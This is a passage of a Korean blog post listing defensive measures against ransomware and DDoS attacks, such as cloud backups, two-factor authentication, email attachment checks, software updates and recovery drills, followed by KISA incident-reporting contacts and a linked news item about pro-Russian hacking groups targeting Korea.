> 외부 클라우드 등에 자료 보관과 소유 기반의 이중인증 적용 권고
> 클라우드 자체에 대한 랜섬웨어 감염을 대비해 클라우드에 보관된 자료의 정기적 백업

④ 이메일 보안 강화
> 이메일 송신자 및 메일 주소 확인
> 불분명한 메일 및 첨부파일, URL 클릭을 지양
> 첨부파일의 경우 확장자 확인
> 바로가기 파일이나 실행 파일 클릭 지양
> 파일 탐색기 > 보기 > '파일 확장명’ 체크 상태 확인
> 파일 탐색기 > 보기 > 옵션 > 폴더 및 검색 옵션 변경 > 보기 > 알려진 파일 형식의 파일 확장명 숨기기 체크 해제 상태 확인
> 이메일 보안 솔루션을 사용해 유해성 유무 확인 및 악성 이메일을 차단

⑤ 기타
> 홈페이지와 주요 시스템에 대한 모니터링 강화
> 자동 업데이트를 통해 운영체제 및 SW를 최신 상태 유지
> 바이러스 백신 프로그램을 설치 및 최신 상태 유지
> 랜섬웨어 감염에 대비한 복구 계획 수립 및 모의훈련 수행 요구
기타 - 침해사고를 당했을 경우
> 한국인터넷진흥원인터넷침해대응센터 종합상황실(02-405-4911~5)
> KISA 인터넷보호나라&KrCERT 홈페이지를 통해 신고

 

보안뉴스

 

친러 해킹그룹, 우크라이나 지원 빌미로 한국 공격... 랜섬웨어·디도스 주의 권고

러시아-우크라이나(이하 러-우) 전쟁에 북한군이 불법 파병되는 등 국제정세 불안정에 따라 우리나라에 대한 사이버 위협이 증가하고 있다. 한국이 우크라이나를 지원했다는 빌미로 친러시아

www.boannews.com

 

KISA 보호나라&KrCERT/CC

KISA 보호나라&KrCERT/CC

www.boho.or.kr

 

KISA 보호나라&KrCERT/CC

KISA 보호나라&KrCERT/CC

www.boho.or.kr

 

+ Recent posts